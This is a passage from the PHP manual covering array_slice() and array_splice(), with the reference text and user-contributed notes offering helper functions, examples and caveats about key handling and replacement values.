For those with PHP < 5.0.2, and have a number as your array key, to avoid having the key reset with array_slice, add a blank character to the beginning or end of the key.
<?

$array[" ".$key] = $value;

?>
bishop 08-Dec-2004 01:58
Sometimes you need to pick certain non-integer and/or non-sequential keys out of an array. Consider using the array_pick() implementation below to pull specific keys, in a specific order, out of a source array:

<?php

$a = array ('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$b = array_pick($a, array ('d', 'b'));

// now:
// $a = array ('a' => 1, 'c' => '3');
// $b = array ('d' => 4, 'b' => '2');

function &array_pick(&$array, $keys)
{
    if (! is_array($array)) {
        trigger_error('First parameter must be an array', E_USER_ERROR);
        return false;
    }

    if (! (is_array($keys) || is_scalar($keys))) {
        trigger_error('Second parameter must be an array of keys or a scalar key', E_USER_ERROR);
        return false;
    }

    if (is_array($keys)) {
        // nothing to do
    } else if (is_scalar($keys)) {
        $keys = array ($keys);
    }

    $resultArray = array ();
    foreach ($keys as $key) {
        if (is_scalar($key)) {
            if (array_key_exists($key, $array)) {
                $resultArray[$key] = $array[$key];
                unset($array[$key]);
            }
        } else {
            trigger_error('Supplied key is not scalar', E_USER_ERROR);
            return false;
        }
    }

    return $resultArray;
}

?>
pies at sputnik dot pl 17-Sep-2004 09:29
My shot at Dams's array_slice_key() implementation:

function array_slice_key($array, $offset, $len=-1){

    if (!is_array($array))
        return FALSE;

    $length = $len >= 0? $len: count($array);
    $keys = array_slice(array_keys($array), $offset, $length);
    foreach($keys as $key) {
        $return[$key] = $array[$key];
    }

    return $return;
}
Samuele at norsam dot org 05-Apr-2004 09:44
Note that if $offset+$length>count($array) then resulting array will NOT be filled with empty elements at his end, so it is not sure that it will have exactly $length elements. Example:
<?php
$a=Array(7,32,11,24,65); // count($a) is 5
$b=array_slice($a,2,4);  // 2+4=6, and 6>count($a)
print_r($b);
?>
will return a 3-elements array:
  Array
  (
      [0] => 11
      [1] => 24
      [2] => 65
  )
23-Feb-2004 02:47
Use unset() to delete a associative array.

Ex:
<?php

$item['chaise'] = array ('qty' => 1,
                        'desc' => 'Chaise bercante 10"',
                        'avail' => 10);

$item['divan'] = array ('qty' => 1,
                        'desc' => 'Divan brun laitte"',
                        'avail' => 10);

if (isset($item['chaise'])) {
        ++$item['chaise']['qty'];
        }

unset($item['divan']);

foreach ($item as $s) {
        echo "<br />Commande " . $s['qty'] . " " . $s['desc'];
}

?>
jenny at jennys dot info 21-Feb-2004 10:12
Here's a function which returns the array offset based on the array key.  This is useful if you'd like to use array_slice to get all keys/values after key "foo".

<?
function array_offset($array, $offset_key) {
  $offset = 0;
  foreach($array as $key=>$val) {
    if($key == $offset_key)
      return $offset;
    $offset++;
  }
  return -1;
}

$array = array('foo'=>'foo', 'bar'=>'bar', 'bash'=>'bash', 'quux'=>'quux');
print_r($array);
// Prints the following:
// Array
// (
//     [foo] => foo
//     [bar] => bar
//     [bash] => bash
//     [quux] => quux
// )

$offset = array_offset($array,'bar');
// $offset now contains '1'
$new = array_slice($array,$offset+1);
print_r($new);
// Prints the following:
// Array
// (
//     [bash] => bash
//     [quux] => quux
// )
?>
webmaster_nospam at wavesport dot com 12-Nov-2002 04:48
This function may surprise you if you use arbitrary numeric values for keys, i.e.

<?php
//create an array
$ar = array('a'=>'apple', 'b'=>'banana', '42'=>'pear', 'd'=>'orange');

print_r($ar);
// print_r describes the array as:
// Array
// (
//    [a] => apple
//    [b] => banana
//    [42] => pear
//    [d] => orange
// )

//use array_slice() to extract the first three elements
$new_ar = array_slice($ar, 0, 3);

print_r($new_ar);
// print_r describes the new array as:
// Array
// (
//    [a] => apple
//    [b] => banana
//    [0] => pear
// )
?>

The value 'pear' has had its key reassigned from '42' to '0'.

When $ar is initially created the string '42' is automatically type-converted by array() into an integer.  array_slice() and array_splice() reassociate string keys from the passed array to their values in the returned array but numeric keys are reindexed starting with 0.
t dot oddy at ic dot ac dot uk 25-Apr-2002 06:47
[Editor's Note:
It is easier to do the same thing using array_values()
]
array_slice() can be used to "re-index" an array to start from key 0.  For example, unpack creates an array with keys starting from 1;

<?php
var_dump(unpack("C*","AB"));
?>

produces

<?php
array(2) {
  [1]=>
  int(65)
  [2]=>
  int(66)
}
?>

and

<?php
var_dump(array_slice(unpack("C*","AB"),0));
?>

give you

<?php
array(2) {
  [0]=>
  int(65)
  [1]=>
  int(66)
}
?>
developer at i-space dot org 03-Feb-2002 08:22
remember that array_slice returns an array with the current element. you must use array_slice($array, $index+1) if you want to get the next elements.
richardgere at jippii dot fi 27-Jan-2002 09:14
The same thing, written by a maladroit :)

<?php
function array_slice2( $array, $offset, $length = 0 )
{
  if( $offset < 0 )
    $offset = sizeof( $array ) + $offset;

  $length = ( !$length ? sizeof( $array ) : ( $length < 0 ? sizeof( $array ) - $length : $length + $offset ) );

  for( $i = $offset; $i < $length; $i++ )
    $tmp[] = $array[$i];

  return $tmp;
}
?>
dams at php dot net 15-Dec-2001 07:09
Here is a version of Array_slice which takes into account keys.

That may be a suggestion for future developpement.

<?php
function array_slice_key($array, $offset){
  if (!is_array($array))
      return FALSE;

  if (func_num_args() == 3){
    $length = func_get_arg(2);
    $length = max(0,intval($length));
  } else {
    $length = count($array);
  }

  $i = 0;
  $return = array();
  $keys = array_slice(array_keys($array), $offset, $length);
  foreach( $keys as $key){
    $return[$key] = $array[$key];
  }
  return $return;
}
?>
array_shift
array_splice
Array Functions


Remove a portion of the array and replace it with something else

array_slice
array_sum
Array Functions
PHP Manual

array_splice

(PHP 4, PHP 5)

array_splice — Remove a portion of the array and replace it with something else

Description

array array_splice ( array &$input , int $offset [, int $length = 0 [, mixed $replacement ]] )

Removes the elements designated by offset and length from the input array, and replaces them with the elements of the replacement array, if supplied.

Note that numeric keys in input are not preserved.

Note: If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object or NULL replacement.

Parameters

input

The input array.

offset

If offset is positive then the start of removed portion is at that offset from the beginning of the input array. If offset is negative then it starts that far from the end of the input array.

length

If length is omitted, removes everything from offset to the end of the array. If length is specified and is positive, then that many elements will be removed. If length is specified and is negative then the end of the removed portion will be that many elements from the end of the array. Tip: to remove everything from offset to the end of the array when replacement is also specified, use count($input) for length.

replacement

If replacement array is specified, then the removed elements are replaced with elements from this array.

If offset and length are such that nothing is removed, then the elements from the replacement array are inserted in the place specified by the offset. Note that keys in replacement array are not preserved.

If replacement is just one element it is not necessary to put array() around it, unless the element is an array itself, an object or NULL.

Return Values

Returns the array consisting of the extracted elements.

Examples

Example #1 array_splice() examples

<?php
$input = array("red", "green", "blue", "yellow");
array_splice($input, 2);
// $input is now array("red", "green")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, -1);
// $input is now array("red", "yellow")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 1, count($input), "orange");
// $input is now array("red", "orange")

$input = array("red", "green", "blue", "yellow");
array_splice($input, -1, 1, array("black", "maroon"));
// $input is now array("red", "green",
//          "blue", "black", "maroon")

$input = array("red", "green", "blue", "yellow");
array_splice($input, 3, 0, "purple");
// $input is now array("red", "green",
//          "blue", "purple", "yellow");
?>

Example #2 array_splice() examples

The following statements change the values of $input the same way:

<?php
array_push($input, $x, $y);
array_splice($input, count($input), 0, array($x, $y));
array_pop($input);
array_splice($input, -1);
array_shift($input);
array_splice($input, 0, 1);
array_unshift($input, $x, $y);
array_splice($input, 0, 0, array($x, $y));
$input[$x] = $y; // for arrays where key equals offset
array_splice($input, $x, 1, $y);
?>

See Also

  • array_slice() - Extract a slice of the array
  • unset() - Unset a given variable
  • array_merge() - Merge one or more arrays

User Contributed Notes

mrsohailkhan at gmail dot com 21-Oct-2011 12:34
array_splice, split an array into 2 arrays. The returned arrays is the 2nd argument actually and the used array e.g $input here contains the 1st argument of array, e.g

<?php
$input = array("red", "green", "blue", "yellow");
print_r(array_splice($input, 3)); // Array ( [0] => yellow )
print_r($input); //Array ( [0] => red [1] => green [2] => blue )
?>

if you want to replace any array value do simple like that,

first search the array index you want to replace

<?php $index = array_search('green', $input);// index = 1 ?>

and then use it as according to the definition

<?php
array_splice($input, $index, 1, array('mygreeen')); //Array ( [0] => red [1] => mygreeen [2] => blue [3] => yellow )
?>

so here green is replaced by mygreen.

here 1 in array_splice above represent the number of items to be replaced. so here start at index '1' and replaced only one item which is 'green'
news_yodpeirs at thoftware dot de 20-Jul-2011 08:20
Sometimes you may want to insert one array into another and just work on with the resulting array. array_splice() doesn't support this, as the resulting array isn't the returned value but the first argument, which is changed by reference.

Therefore you may use the following function, which inserts array $ins in array $src at position $pos. $rep can be used if $ins shouldn't be just inserted, but should replace some existing elements (the number of elements to be replaced is given in $rep).

<?php
function array_insert($src,$ins,$pos,$rep=0) {
  array_splice($src,$pos,$rep,$ins);
  return($src);
}
?>
doug at badblue dot com 13-Apr-2011 08:10
Unexpected behavior if you're trying to use array_splice to truncate an array.  For example:

 <?php $aOut = array_splice($aIn, 300); ?>

If sizeof($aIn) < 300, the entire $aOut array gets wiped out!  The extra conditional is needed to ensure this doesn't happen:

<?php
 if (sizeof($aIn) > MAX_WINDOW_COUNT) {
   $aOut = array_splice($aIn, MAX_WINDOW_COUNT);
 }
?>

[PHP 5.3.6]
charette dot s at gmail 21-Jul-2010 08:26
If you want to append null values wrap them in an array:

<?php

    $a = array('Hey', 'hey', 'my', 'my');
    array_splice($a, 1, 0, null);
    print_r($a);

?>
Array
(
    [0] => Hey
    [1] => hey
    [2] => my
    [3] => my
)

<?php

    $b = array('Hey', 'hey', 'my', 'my');
    array_splice($b, 1, 0, array(null));
    print_r($b);

?>
Array
(
    [0] => Hey
    [1] =>
    [2] => hey
    [3] => my
    [4] => my
)
news_yodpeirs at thoftware dot de 01-Apr-2010 01:32
Splicing with NULL as replacement may result in unexpected behavior too. Typecasting NULL into an array results in an empty array (as "(array)NULL" equals "array()"). That means, instead of creating an element with value NULL just no new element ist created (just as if there was no replacement specified).

If you want the splicing to create a new element with value NULL you have to use "array(NULL)" instead of NULL.

You should expect this if you read the explanation carefully, but just as objects are considered as a special case for replacement, NULL should be too.

The explanation of replacement better should read: "If replacement is just one element it is not necessary to put array() around it, unless the element is an array itself, an object or NULL."

And the note better should be: "If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object or NULL replacement."

jmtc
daniele centamore 02-Aug-2009 07:48
just useful functions to move an element using array_splice.

<?php

// info at danielecentamore dot com

// $input  (Array) - the array containing the element
// $index (int) - the index of the element you need to move

function moveUp($input,$index) {
      $new_array = $input;

       if((count($new_array)>$index) && ($index>0)){
                 array_splice($new_array, $index-1, 0, $input[$index]);
                 array_splice($new_array, $index+1, 1);
             }

       return $new_array;
}

function moveDown($input,$index) {
       $new_array = $input;

       if(count($new_array)>$index) {
                 array_splice($new_array, $index+2, 0, $input[$index]);
                 array_splice($new_array, $index, 1);
             }

       return $new_array;
 }

$input = array("red", "green", "blue", "yellow");

$newinput = moveUp($input, 2);
// $newinput is array("red", "blue", "green", "yellow")

$input = moveDown($newinput, 1);
// $input is array("red", "green", "blue", "yellow")

?>
strata_ranger at hotmail dot com 01-Jul-2009 11:53
Should you want a similar function for splicing strings together, here is a rough equivalent:

<?php
function str_splice($input, $offset, $length=null, $splice='')
{
  $input = (string)$input;
  $splice = (string)$splice;
  $count = strlen($input);

  // Offset handling (negative values measure from end of string)
  if ($offset<0) $offset = $count + $offset;

  // Length handling (positive values measure from $offset; negative, from end of string; omitted = end of string)
  if (is_null($length)) $length = $count;
  elseif ($length < 0)  $length = $count-$offset+$length;

  // Do the splice
  return substr($input, 0, $offset) . $splice . substr($input, $offset+$length);
}

$string = "The fox jumped over the lazy dog.";

// Outputs "The quick brown fox jumped over the lazy dog."
echo str_splice($string, 4, 0, "quick brown ");

?>

Obviously this is not for cases where all you need to do is a simple search-and-replace.
dead dot screamer at seznam dot cz 12-Feb-2009 05:28
I need <?php array_Splice()?> function, that use array keys instead of order (offset and length) because of associated arrays, and this is result:

<?php
/**
 *    first variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $end is index of slice end, if this is null, $replacement will be inserted (in the same way as original array_Slice())
 *indexes of $replacement are preserved in both examples
 */
function array_KSplice1(&$input, $start, $end=null, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;
    if($end!==null)
    {
        $end=array_Search($end,$keys,true);
        // if $end not found, exit
        if($end===false)
            return false;
        // if $end is before $start, exit
        if($end<$start)
            return false;
        // index to length
        $end-=$start-1;
    }

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$end,$rKeys);
        array_Splice($values,$start,$end,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$end);
        array_Splice($values,$start,$end);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

/**
 *    second variation
 *
 *    $input is input array
 *    $start is index of slice begin
 *    $length is length of slice, what will be replaced, if is zero, $replacement will be inserted (in the same way as original array_Slice())
 */
function array_KSplice2(&$input, $start, $length=0, $replacement=null)
{
    $keys=array_Keys($input);
    $values=array_Values($input);
    if($replacement!==null)
    {
        $replacement=(array)$replacement;
        $rKeys=array_Keys($replacement);
        $rValues=array_Values($replacement);
    }

    $start=array_Search($start,$keys,true);
    if($start===false)
        return false;

    // optional arguments
    if($replacement!==null)
    {
        array_Splice($keys,$start,$length,$rKeys);
        array_Splice($values,$start,$length,$rValues);
    }
    else
    {
        array_Splice($keys,$start,$length);
        array_Splice($values,$start,$length);
    }

    $input=array_Combine($keys,$values);

    return $input;
}

$array=range(1,10);
var_Dump(array_KSplice1($array,3,3,array(100=>101,102,103,104)));

$array=range(1,10);
var_Dump(array_KSplice2($array,3,3,array(100=>101,102,103,104)));

?>

Both examples output:
array(11) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
  [100]=>
  int(101)
  [101]=>
  int(102)
  [102]=>
  int(103)
  [103]=>
  int(104)
  [6]=>
  int(7)
  [7]=>
  int(8)
  [8]=>
  int(9)
  [9]=>
  int(10)
}
Ulrich 01-Nov-2008 05:34
If you have multidimensional array like
<?php
$arr = array(array("a"=>1,"b"=>2),array("a"=>7,"b"=>-34));
?>
you can insert elements using array(array(...)). For example:
<?php
array_splice($arr, 1, 0, array(array("a"=>100, "b"=>77)))
?>
madmax at max-worlds dot net 23-Sep-2008 06:23
Note:  If replacement is not an array, it will be typecast to one (i.e. (array) $parameter). This may result in unexpected behavior when using an object replacement .

Example :

<?php
class A()
{
    private $a;
    private $b;
    public function __construct()
    {
        $this->a = "foo";
        $this->b = "bar";
    }
}

$array = array();
array_splice($array, 0, 0, new A());
print_r($array);
?>

Outputs :

Array : Array
{
    [0] => foo
    [1] => bar
}

Solution : Enforce the array() on the object.

<?php
array_splice($array, 0, 0, array(new Object());
?>

Source : http://bugs.php.net/bug.php?id=44485
loushou - life dot 42 at gmail dot com 27-Jul-2008 04:39
i miss posted the actual function...
here is the real one lol

<?php

function q_sort(&$Info, $Index, $Left, $Right)
{
  echo "memory usage <b>".memory_get_usage()."</b><br/>\n";
  $L_hold = $Left;
  $R_hold = $Right;
  $Pivot = $Left;
  $PivotValue = $Info[$Left];
  while ($Left < $Right)
  {
    while (($Info[$Right][$Index] >= $PivotValue[$Index]) && ($Left < $Right))
      $Right--;
    if ($Left != $Right)
    {
      $Info[$Left] = $Info[$Right];
      $Left++;
    }
    while (($Info[$Left][$Index] <= $PivotValue[$Index]) && ($Left < $Right))
      $Left++;
    if ($Left != $Right)
    {
      $Info[$Right] = $Info[$Left];
      $Right--;
    }
  }
  $Info[$Left] = $PivotValue;
  $Pivot = $Left;
  $Left = $L_hold;
  $Right = $R_hold;
  if ($Left < $Pivot)
    q_sort($Info, $Index, $Left, $Pivot-1);
  if ($Right > $Pivot)
    q_sort($Info, $Index, $Pivot+1, $Right);
}

?>
Francis 27-Apr-2008 12:27
Do you need to sort a 2D array on just one of its variables while trying to preserve somewhat the original order?

<?php

function sort_2d_array($array, $position, $order = "ASC"){
  if (!is_array($array)) return $array;
  if (count($array) < 2) return $array;
  $new = array($array[0]);
  for ($cnt = 1; $cnt <= count($array) - 1; $cnt++){
    $stop = 0;
    $splice = 0;
    for ($newcnt = 0; $newcnt <= count($new) - 1; $newcnt++){
      if ($stop == 0){
        if ($order == "ASC")
        if ($array[$cnt][$position] < $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for ASC
        if ($order == "DESC")
        if ($array[$cnt][$position] > $new[$newcnt][$position]){
          $splice = $newcnt;
          $stop = 1;
        } // splice position for DESC
      } // stop vying for position
    } // cycle through new array to find position
    if ($stop == 0){
      $new[] = $array[$cnt];
    } else {
      array_splice($new, $splice, 0, array($array[$cnt]));
    } // splice into new array while keeping somewhat the original order
  } // cycle through original array
  return $new;
} // sort_2d_array

?>

Application Example: In-House Search Engine
Here we are trying to find the word apple in the website by sort of the most recent occurances first, but the number of occurances first.

We've already sorted the mysql output by the date desc and have counted the no of occurances and have placed those in an array for the final query.

I've used this function to further sort the occurances but somewhat keep the original mysql sort order.

Key
[0] Record number
     [0] Record ID
     [1] Source Table
     [2] No of Occurances Pinged

  ---------------------------

[0]
     [0] 24530
     [1] Blogs
     [2] 1

[1]
     [0] 24400
     [1] Blogs
     [2] 1

[2]
     [0] 24240
     [1] Blogs
     [2] 4

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

After running...

<?php
sort_2d_array($array, 2, "DESC");
?>

We have...

[0]
     [0] 24240
     [1] Blogs
     [2] 4

[1]
     [0] 24530
     [1] Blogs
     [2] 1

[2]
     [0] 24400
     [1] Blogs
     [2] 1

[3]
     [0] 243422
     [1] Classifieds
     [2] 1

[4]
     [0] 243100
     [1] Classifieds
     [2] 1

Might be useful to someone...
nash0r 29-Feb-2008 01:04
array_splice($input, -1) / array_slice($input, 1) equivalent to array_shift($input) ?????

Try this:

<?php
$input = array('key1' => array('deep1' => 'Value'), 'key2' => array('deep2' => 'Value'), 'key3' => array('deep3' => 'Value'));

$foo_splice = array_splice($input, -1);
$foo_shift = array_shift($input);

echo "<pre>".print_r($foo_splice, true)."</pre>";
echo "<pre>".print_r($foo_shift, true)."</pre>";
?>

Output:

Array
(
    [key3] => Array
        (
            [deep3] => Value
        )

)

Array
(
    [deep1] => Value
)
pauljamescampbell at gmail dot com 06-Feb-2008 06:46
Here's my own take on an array slice method that preserves keys from an associative array.

<?php
/**
 * Array slice function that preserves associative keys
 *
 * @function associativeArraySlice
 *
 * @param  Array  $array  Array to slice
 * @param  Integer  $start
 * @param  Integer  $end
 *
 * @return  Array
 */
function associativeArraySlice($array, $start, $end) {
    // Method param restrictions
    if($start < 0) $start = 0;
    if($end > count($array)) $end = count($array);

    // Process vars
    $new = Array();
    $i = 0;

    // Loop
    foreach($array as $key => $value) {
        if($i >= $start && $i < $end) {
            $new[$key] = $value;
        }
        $i++;
    }
    return($new);
}
?>
saurabhmdh at yahoo dot co dot on 15-Sep-2007 12:29
for inserting array in 2-d array, according x position, y position

<?php
function add_module_xy($x_loc, $y_loc, $module) {
    //identify the column of the modules
    switch ($x_loc) {
      case 1:
        $x = 'left';
        break;
      case 2:
        $x = 'middle';
        break;
      case 3:
        $x = 'right';
        break;
      default:
        throw new Exception("", "Invalid horizontal position $x_loc");
    }

    $max_y_loc = count($this->module_arrays[$x]) + 1;
    if ($y_loc > $max_y_loc) {
      //if y location is greater then max array index then add module to last
      $y_loc = $max_y_loc;
    }
    $left = array_slice ($this->module_arrays[$x], 0, $y_loc-1);
    $right = array_slice ($this->module_arrays[$x], $y_loc-1);
    $insert[0] = $module;
    $array = array_merge ($left, $insert, $right);
    $this->module_arrays[$x] = $array;

  }
?>
mip at ycn dot com 08-Mar-2007 05:37
Ever wounder what array_splice is doing to your references, then try this little script and see the output.

<?php

$a = "a";
$b = "b";
$c = "c";
$d = "d";
$arr = array();
$arr[] =& $a;
$arr[] =& $b;
$arr[] =& $c;
array_splice($arr,1,0,array($d));
$sec_arr = array();
$sec_arr[] =& $d;
array_splice($arr,1,0,$sec_arr);

$arr[0] = "test"; // should be $a
$arr[3] = "test2"; // should be $b
$arr[1] = "this be d?"; // should be $d
$arr[2] = "or this be d?"; // should be $d
var_dump($arr);
var_dump($a);
var_dump($b);
var_dump($d);
?>

The output will be (PHP 4.3.3):

array(5) {
  [0]=>
  &string(4) "test"
  [1]=>
  &string(10) "this be d?"
  [2]=>
  string(13) "or this be d?"
  [3]=>
  &string(5) "test2"
  [4]=>
  &string(1) "c"
}
string(4) "test"
string(5) "test2"
string(10) "this be d?"

So array_splice is reference safe, but you have to be careful about the generation of the replacement array.

have fun, cheers!
ahigerd at stratitec dot com 24-Jan-2007 06:07
A comment on array_merge mentioned that array_splice is faster than array_merge for inserting values. This may be the case, but if your goal is instead to reindex a numeric array, array_values() is the function of choice. Performing the following functions in a 100,000-iteration loop gave me the following times: ($b is a 3-element array)

array_splice($b, count($b)) => 0.410652
$b = array_splice($b, 0) => 0.272513
array_splice($b, 3) => 0.26529
$b = array_merge($b) => 0.233582
$b = array_values($b) => 0.151298
bdjumakov at gmail dot com 31-Aug-2006 12:11
Someone might find this function usefull. It just takes a given element from the array and moves it before given element into the same array.

<?php
function array_move($which, $where, $array)
{
    $tmp  = array_splice($array, $which, 1);
    array_splice($array, $where, 0, $tmp);
    return $array;
}
?>
Paul 11-Feb-2006 10:06
In PHP 4.3.10, at least, it seems that elements that are inserted as part of the replacement array are inserted BY REFERENCE (that is, as though with the =& rather than = assignment operation). So if your replacement array contains elements that references to variables that you can also access via other variable name, then this will be true of the elements in the final array too.

In particular, this means that it is safe to use array_splice() on arrays of objects, as you won't be creating copies of the objects (as it is so easy to do in PHP 4).
gerry-03 at 4warding dot com 09-Feb-2006 07:35
For anybody who is wondering... jrhardytwothousandtwo's trick for inserting an element using array_splice, will also work with multi-dimensional arrays if you do the following:

<?php
  function array_insert(&$input, $offset, $replacement){
    array_splice($input, $offset, 0, 0);
    $input[$offset] = $replacement;
  }
?>

I'm not sure if this (or a derivative of it) will solve other problems that I have seen just about everybody on here trying to solve. But apart from it's hackish nature, it works well for me.
ajd at cloudiness dot com 06-Dec-2005 06:35
weikard's function below is useful but it will still strip keys from array elements where the key is an integer, whether or not it is in a string:

<?php
function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}
$f = array("three" => "zzz", "3" => "yyy");
$a = array("4.0" => "zzzz", "four" => "yyyy");
array_insert($a,0,$f);
var_dump($a);
// array(4) { ["three"]=> string(3) "zzz" [0]=> string(3) "yyy"  ["4.0"]=> string(4) "zzzz" ["four"]=> string(4) "yyyy" }
?>
weikard at gmx dot de 15-Sep-2005 05:53
You cannot insert with array_splice an array with your own key. array_splice will always insert it with the key "0".

<?php
// [DATA]
$test_array = array (
  row1 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row2 => array (col1 => 'foobar!', col2 => 'foobar!'),
  row3 => array (col1 => 'foobar!', col2 => 'foobar!')
);

// [ACTION]
array_splice ($test_array, 2, 0, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [0] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

But you can use the following function:

function array_insert (&$array, $position, $insert_array) {
  $first_array = array_splice ($array, 0, $position);
  $array = array_merge ($first_array, $insert_array, $array);
}

<?php
// [ACTION]

array_insert ($test_array, 2, array ('rowX' => array ('colX' => 'foobar2')));
echo '<pre>'; print_r ($test_array); echo '</pre>';
?>

[RESULT]

Array (
    [row1] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [row2] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )

    [rowX] => Array (
            [colX] => foobar2
        )

    [row3] => Array (
            [col1] => foobar!
            [col2] => foobar!
        )
)

[NOTE]

The position "0" will insert the array in the first position (like array_shift). If you try a position higher than the langth of the array, you add it to the array like the function array_push.
csaba at alum dot mit dot edu 13-Aug-2005 02:31
Appending arrays
If you have an array $a2 whose values you would like to append to an array $a1 then four methods you could use are listed below in order of increasing time.  The last two methods took significantly more time than the first two.  The most surprising lesson is that using the & incurs a time hit.

<?php
foreach ($a2 as $elem) $a1[]=$elem;
foreach ($a2 as &$elem) $a1[]=$elem;
array_splice ($a1, count($a1), 0, $a2);
$a1 = array_merge($a1, $a2);
?>

Csaba Gabor from Vienna
randomdestination at gmail dot com 22-Jul-2005 01:52
To split an associative array based on it's keys, use this function:

<?php
function &array_split(&$in) {
    $keys = func_get_args();
    array_shift($keys);

    $out = array();
    foreach($keys as $key) {
        if(isset($in[$key]))
            $out[$key] = $in[$key];
        else
            $out[$key] = null;
        unset($in[$key]);
    }

    return $out;
}
?>

Example:
<?php
$testin = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4);
$testout =& array_split($testin, 'a', 'b', 'c');

print_r($testin);
print_r($testout);
?>

Will print:

Array
(
    [d] => 4
)
Array
(
    [a] => 1
    [b] => 2
    [c] => 3
)

Hope this helps anyone!
gideon at i6developments dot com 17-Jul-2004 09:45
array_splice dynamically updates the total number of entries into the array. So for instance I had a case where I needed to insert a value into every 4th entry of the array from the back. The problem was when it added the first, because the total number was dynamically updated, it would only add after the 3rd then the 2nd and so one. The solution I found is to track the number of inserts which were done and account for them dynamically.

Code:
<?php
    $modarray = array_reverse($mili);
    $trig=1;
        foreach($modarray as $rubber => $glue) {
            if($rubber!="<BR>") {
            $i++;
            $b++;
            if ($i==4) {
                $trig++;
                if($trig<=2) {
                array_splice($modarray,$b,0,"<BR>");
                }elseif($trig>=3){
                array_splice($modarray,$b+($trig-2),0,"<BR>");
                }
                $i=0;
                };
                };
        };
    $fixarray = array_reverse($modarray);

?>
jtgt at gmx dot de (Richard Lachmann) 16-Jul-2004 09:18
This function will preserve keys:

<?php
function my_array_splice(&$_arr, $_index, $_long){
           $_keys=array_keys($_arr);
           $_key=array_search($_index, $_keys);
           if ( $_key !== FALSE ){
               $_keys=array_splice($_keys, $_key, $_long);
              foreach ($_keys as $_key) unset($_arr[$_key]);
          }
}
?>
rolandfoxx at yahoo dot com 30-Mar-2004 12:16
Be careful, array_splice does not behave like you might expect should you try to pass it an object as the replacement argument.  Consider the following:

<?php
//Very truncated
class Tree {
  var $childNodes

  function addChild($offset, $node) {
    array_splice($this->childNodes, $offset, 0, $node);
    //...rest of function
  }

}

class Node {
  var $stuff
  ...
}

$tree = new Tree();
// ...set 2 nodes using other functions...
echo (count($tree->childNodes)); //Gives 2
$newNode = new Node();
// ...set node attributes here...
$tree->addChild(1, $newNode);
echo(count($tree->childNodes)); //Expect 3?  wrong!
?>

In this case, the array has a number of items added to it equal to the number of attributes in the new Node object and the values thereof  I.e, if your Node object has 2 attributes with values "foo" and "bar", count($tree->childNodes) will now return 4, with the items "foo" and "bar" added to it.  I'm not sure if this qualifies as a bug, or is just a byproduct of how PHP handles objects.

Here's a workaround for this problem:
function array_insertobj(&$array, $offset, $insert) {
  $firstPart = array_slice($array, 0, $offset);
  $secondPart = array_slice($array, $offset);
  $insertPart = array($insert);
  $array = array_merge($firstPart, $insertPart, $secondPart);
}

Note that this function makes no allowances for when $offset equals the first or last index in the array.  That's because array_unshift and array_push work just fine in those cases.  It's only array_splice that can trip you up.  Obviously, this is kinda tailor-made for arrays with numeric keys when you don't really care what said keys are, but i'm sure you could adapt it for associative arrays if you needed it.
18-Aug-2003 03:57
Want to insert a new value in the middle of the array, without overwriting other elements? Try this.

<?php
$array = array(
    0 => 0,
    1 => 1,
    2 => 2,
    3 => 3,
    4 => 4,
    5 => 5
);
array_splice($array, 3, count($array), array_merge(array('x'), array_slice($array, 3)));
echo '<pre>';
print_r($array);
?>

Output:
Array
(
    [0] => 0
    [1] => 1
    [2] => 2
    [3] => x
    [4] => 3
    [5] => 4
    [6] => 5
)

As you can see, the operation add 'X' in the 4th place, pushing everything else to the next key.
kbrown at horizon dot sk dot ca 11-Aug-2003 12:40
[ Editor's Note: If you're not concerned with the indexes being contiguously numbered (such as for an associative array) then unset($ar[$ind]); will accomplish the same as the code below without requiring splice/splice/merge.  If contiguous numbering IS a concern (such as for indexed arrays), you can still save time by using: unset($ar[$ind]); $ar = array_values($ar); ]

Removing elements from arrays

This works better - much quicker

<?php
$ar = array("einstein", "bert", "colin", "descartes", "renoir");
$a = array_slice($ar, 0, $ind);
$b = array_slice($ar, $ind + 1);
$ar = array_merge($a, $b);
?>
plintus at smtp dot ru 14-Apr-2003 01:59
key-safe:

<?php
function array_kslice ($array, $offset, $length = 0) {
$k = array_slice (array_keys ($array), $offset, $length);
$v = array_slice (array_values ($array), $offset, $length);
for ($i = 0; $i < count ($k); $i ++) $r[$k[$i]] = $v[$i];
return $r;
}
?>

smth like this. hope you like it more than versions above :)
tsunaquake DOESNTLIKESPAM @ wp DOT pl 11-Nov-2002 10:56
It is possible to use a string instead of offset, eg if you want to deletre the entry $myArray['entry'] then you can simply do it like this:

<?php
array_splice($myArray, 'entry', 1);
?>

Note that you can use unset($myArray['entry']) as well but then, it doesn't enable you to remove more than one entry and it doesn't replace anything in the array, if that's what you intend to do.
18-Jun-2002 07:14
Please note that array_splice() 's second argument is an OFFSET and not an INDEX.

Lets say you want to
$array_of_items = array ('nothing','myitem','hisitem','heritem');
$sid = array_search('myitem',$array_of_items);
